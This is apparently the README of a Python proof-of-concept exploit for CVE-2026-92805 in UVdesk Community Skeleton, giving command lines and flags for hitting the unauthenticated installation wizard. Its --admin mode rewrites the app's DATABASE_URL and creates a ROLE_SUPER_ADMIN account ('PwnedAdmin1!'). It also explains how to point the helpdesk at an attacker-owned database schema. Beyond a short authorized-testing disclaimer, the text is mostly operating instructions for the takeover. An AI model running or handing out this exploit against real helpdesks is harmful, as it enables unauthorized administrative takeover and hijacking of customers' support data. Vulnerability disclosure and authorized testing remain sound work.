
Python PoC for CVE-2026-92805: unauthenticated UVdesk installation wizard XHR allows DATABASE_URL rewrite and ROLE_SUPER_ADMIN creation via fingerprint and admin modes.
UVdesk unauth wizard super-admin POC
UVdesk Community Skeleton through 1.1.8 — installation wizard XHR (ConfigureHelpdesk) has no authentication and no install-state check. An unauthenticated caller can rewrite DATABASE_URL and create a ROLE_SUPER_ADMIN. There is no public patched tag (v1.1.9 404s).
For authorized testing only. Do not run this against systems you do not own or have permission to test.
Requires: Python 3, standard library only.
python3 cve-2026-92805-uvdesk-wizard-admin.py -u http://TARGET --test
python3 cve-2026-92805-uvdesk-wizard-admin.py -u http://TARGET --admin --email [email protected] --password 'PwnedAdmin1!'
python3 cve-2026-92805-uvdesk-wizard-admin.py -u https://TARGET --test --insecure
python3 cve-2026-92805-uvdesk-wizard-admin.py -u TARGET --test
| Flag | What it does |
|---|---|
-u / --url | Helpdesk base URL (required). http:// or https://. A hostname with no scheme is tried as HTTPS first, then HTTP. http→https redirects keep POST. Bad TLS certs are retried without verify; --insecure skips verify from the start |
--test | Fingerprint only: POST /wizard/xhr/check-requirements (specification=php-version). No .env write, no user |
--admin | Full wizard chain: store DB + super-user in the PHP session, write DATABASE_URL, migrate, create ROLE_SUPER_ADMIN |
--email / --password / --name | Super-admin to create (defaults [email protected] / PwnedAdmin1! / Pwned Admin) |
--db-host / --db-port / --db-user / --db-pass / --db-name | MySQL as the PHP app sees it (defaults 127.0.0.1:3306 / uvdesk / uvdesk / uvdesk) |
--create-db | Ask the wizard to CREATE DATABASE if the schema is missing |
--insecure | Skip TLS verify |
--timeout | HTTP timeout seconds (default 120; migrations can be slow) |
--test endpoint: POST /wizard/xhr/check-requirements. A 200 JSON with "version" / "status" is PRESENT / VULNERABLE. It never hits load/configurations or load/super-user. After a finished install, GET / redirects away from the wizard HTML; the XHR routes still answer. That is the bug.
--admin is unauthenticated. The wizard thinks it is the first-run installer. --db-* are not a MySQL client on your box; they are posted to the app so PHP can connect (same-host 127.0.0.1 is the usual case).
You do not have to discover an existing schema name. --db-name is a name you choose (default uvdesk). --create-db sets the wizard’s createDatabase flag so PHP runs CREATE DATABASE if that name is missing. Without --create-db, a missing name is NEED_DB (“The requested database was not found”). Creating a new name needs a MySQL user with CREATE (a locked-down uvdesk@localhost that only has rights on uvdesk.* can reuse uvdesk, but may not create uvdesk_pwn). --test never talks to MySQL.
If a super-admin already exists on that schema, load/super-user is a no-op — --create-db plus a fresh --db-name stands up a schema you own and points DATABASE_URL at it.
Stdout: UVDESK, WIZARD_PAGE, PHP, STATUS, PRESENT, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, NEED_DB, ADMIN, LOGIN.

CVE: CVE-2026-92805. Product: uvdesk/community-skeleton.